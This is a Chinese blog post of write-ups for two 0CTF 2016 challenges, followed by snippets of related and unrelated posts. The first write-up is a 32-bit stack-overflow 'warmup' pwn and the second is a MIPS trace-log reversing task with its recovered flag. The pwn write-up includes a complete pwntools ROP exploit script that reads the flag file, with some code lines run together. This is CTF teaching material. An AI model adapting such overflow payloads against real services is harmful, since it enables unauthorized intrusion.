Warmup(2)

程序很小,读写操作直接通过int 80h系统调用完成。栈溢出漏洞很明显,能溢出20字节。提示由于沙盒的保护只能来读取/home/warmup/flag文件。那么思路就很清楚了,打开flag文件,读取flag文件到内存,写内存到标准输出。现在遇到了第一个问题,打开文件的系统调用是5,系统调用号要放在eax中,如何得到这个系统调用号以及如何得到后要立马执行系统调用打开文件,读文件到内存。

最初想的是sys_read会返回读取的字节数,sys_write会返回写的字节数,我们可以控制读写的字节数为5那么读写返回后eax就是5了,这个时候立马返回去读文件,但是发现并不能,栈的结构不对。

最后查了下alarm的返回值,发现如果连续两次调用alarm的话,第二次alarm返回第一次订的闹钟剩余的时间,因为程序执行时间很短,如果第一次alarm(5)的话,第二次alarm返回值将是5,成功得到系统调用号。这个时候就可以打开文件,并能控制返回地址到程序的开始,这样再溢出一次能读到flag,再最后一次溢出能写flag到标准输出,就能得到flag了。

  exp version 2:

 from pwn import *
import time
context.log_level = 'debug'
s = remote('127.0.0.1', 10001)
#s = remote('202.120.7.207', 52608) '''
time.sleep(1)
print 'warmup pid is %d' % pwnlib.util.proc.pidof('warmup')[0]
raw_input('go!')
''' read = 0x0804811D
write = 0x08048135
start = 0x080480D8
f = 0x08049200
tmp = 0x08049240
flag = 0x08049300
stackinc = 0x080481B8
openf = 0x08048122 s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(read) + p32(start) + p32(0) + p32(f) + p32(20))
s.send('/home/warmup/flag\x00') s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(start))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(start) + p32(0))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(start) + p32(0) + p32(openf) + p32(start) + p32(f))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(start))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(start))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(read) + p32(stackinc) + p32(0) + p32(tmp) + p32(20))
s.send('aaaaa') s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(read) + p32(start) + p32(3) + p32(flag) + p32(30))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(write) + p32(start) + p32(1) + p32(flag) + p32(30))
s.interactive()

Trace(4)

一道mips的逆向题,给的tracelog,刚开始没仔细看汇编,一直想办法模拟执行这些代码,也尝试去查了查Unicorn使用方法,感觉很强大,但是并没有用,感觉Unicorn更像是给了shellcode后模拟执行shellcode的。

一直想知道这个tracelog使用什么生成的,看着别扭(像是intel风格的汇编),谁能告诉我?虽然没接触过mips汇编,但是查了下函数调用约定,就是想看看各个寄存器的作用,以及函数prologue和epilogue的样子,拿着一份mips指令集手册就开始分析代码,看了大概1000多行(其实很快因为大段的在循环),看到代码里面有重复调用一个函数,就决定根据函数prologue和epilogue的样子来分析下这里面总共有多少函数,每个函数的地址空间,每个函数调用了多少次。分析结果发现:2万多行的代码里,总共有3个函数,其中一个函数递归调用了131次。

地址空间0x004007d0-0x0040084c是一个函数总共调用了一次,作用是初始化内存,形成a-zA-Z0-9{}flag连续内存;地址空间0x00400858-0x004009c8是一个函数调用了131次,而且是在递归调用,分析后是在对前面形成的内存中的字符进行了排序;地址空间

0x00400770-0x004007c4是一个函数,是strlen()的实现,调用了三次。

在分析完0x00400858-0x004009c8是在递归地对内存字符中进行递归排序后,就打算根据tracelog模拟整个排序过程,模拟完的结果:

在里面'f1'代表flag的第一位,'f2'代表flag的第二位,一次类推。其实这个时候已经李最后的flag已经很近了,在主函数的最后,判断了排序好的各个字节之间的关系,我也模拟了一遍。

这下好了,就能确定每一个字节的内容了,flag就是:0ctf{tr135m1k5l96551s9l5r}

代码太丑,就不贴了。

附:

Mips指令集参考:http://www.mrc.uidaho.edu/mrc/people/jff/digital/MIPSir.html

Mips寄存器:

Mips Prologue and epilogue

0ctf-pwn_warmup-re_mips4的更多相关文章

  1. 0ctf – mobile – boomshakalaka writeup

    作为一个web狗,一道web都没做出来Orz...做出来一道apk,纪念一下在ctf中做出的第一道apk... 首先在模拟器或者真机中安装一下apk看到是一个cocos2dx的打飞机游戏 根据题目提示 ...

  2. Observe the 0CTF & 0CON

    I went to observe 0CTF and 0CON on 4.22 ~ 4.24 and just come back. Not only do I learn a lot from th ...

  3. 0CTF 2017 部分Web的某些不一样的思路

    洒家参加了0CTF 2017,做了一些题目.赛后过了好几天,看网上已经有了一些写得不错的Writeup,这里就写一写洒家的一些不一样的思路. 一些不错的Writeup https://ctftime. ...

  4. 刷题记录:[0CTF 2016]piapiapia

    目录 刷题记录:[0CTF 2016]piapiapia 一.涉及知识点 1.数组绕过正则及相关 2.改变序列化字符串长度导致反序列化漏洞 二.解题方法 刷题记录:[0CTF 2016]piapiap ...

  5. 0ctf 2019 zero_task

    一个条件竞争的洞,以前没有接触过.比赛完研究了wp复现下. new_thread结构体如下 new_thread: thread_area size0x8 thread_area+0x8 size 0 ...

  6. 0CTF题中的神奇宝贝WP

    前言: 今天被尘少拉去做题 然后做到一个脑洞打开的题..... 神奇宝贝!?!? 正文: 一开始来到这=-= 弱密码猜测:admin admin 验证码用calc去算 然后成功进入 第一次去做神奇宝贝 ...

  7. 0ctf签到题

    签到题: 题目提示: flag在IRC聊天室里 开启weechat ┌─[root@sch01ar]─[~] └──╼ #weechat 创建服务器 /server add freenode8001 ...

  8. 0ctf 2017 kernel pwn knote write up

    UAF due to using hlist_add_behind() without checking. There is a pair locker(mutex_lock) at delete_n ...

  9. BUUCTF |[0CTF 2016]piapiapia

    步骤: nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere ...

  10. [0CTF 2016]piapiapia{PHP反序列化漏洞(PHP对象注入)}

    先上学习链接: https://www.freebuf.com/column/202607.html https://www.cnblogs.com/ichunqiu/p/10484832.html ...

随机推荐

  1. 在Linux下如何创建LVM及LVM创建过程

    Linux LVM创建过程:(我用的是Centos6.8) 一.准备工作: LVM可以的创建可以在系统安装的过程中创建,也可以在安装完系统之后再创建建,都是可以的,我的是在系统安装完之后创建的,具体的 ...

  2. 蚂蚁的难题(二)首尾相连数组的最大子数组和(DP)

    蚂蚁的难题(二) 时间限制:1000 ms  |  内存限制:65535 KB 难度:3 描述 下雨了,下雨了,蚂蚁搬家了. 已知有n种食材需要搬走,这些食材从1到n依次排成了一个圈.小蚂蚁对每种食材 ...

  3. onvif规范 中文介绍

    什么是ONVIF ? ONVIF规范描述了网络视频的模型.接口.数据类型以及数据交互的模式.并复用了一些现有的标准,如WS系列标准等. ONVIF规范的目标是实现一个网络视频框架协议,使不同厂商所生产 ...

  4. 《JavaScript 闯关记》之函数

    函数是一段代码,它只定义一次,但可以被执行或调用任意次.在 JavaScript 里,函数即对象,程序可以随意操控它们.比如,可以把函数赋值给变量,或者作为参数传递给其他函数,也可以给它们设置属性,甚 ...

  5. Android使用NumberPicker控件实现选择城市,生日

    本人菜鸟一枚,第一次写技术博客,有点小紧张,加上代码很乱,求不喷. 先放效果图: 界面就这么简单. 然后放上代码: package com.example.dialog; import java.ut ...

  6. Android SQLite的使用1(非原创)

    1.继承SQLiteOpenHelper :public class MyOpenHelper extends SQLiteOpenHelper {} 2.重写下面3个方法 package com.e ...

  7. select count(distinct a)

    我想对一个表里面字段a的个数进行进行统计,因为字段a有重复的记录,我想排除重复的记录,该sql语句为: select count(distinct a) 链接:http://www.w3school. ...

  8. 世界国家名与英文名【json】

    英文版 var geolocation= [   ["AO", "Angola"],   ["AF", "Afghanistan& ...

  9. HDU 5145 - NPY and girls

    题意: cases T(1≤T≤10) (0<n,m≤30000) (0<ai≤30000)    n个数ai 表示n个女孩所在教室 m次询问 [L,R](1 <= L <= ...

  10. cocos2d.js

    1.节点是Cocos2d最基础的东西 2.坐标与普通数学坐标一致 3.children属性表示节点的孩子,父节点位置变化,它包含的子节点也会跟着变化,以整体的形势移动 4.层(layer), 新建层: ...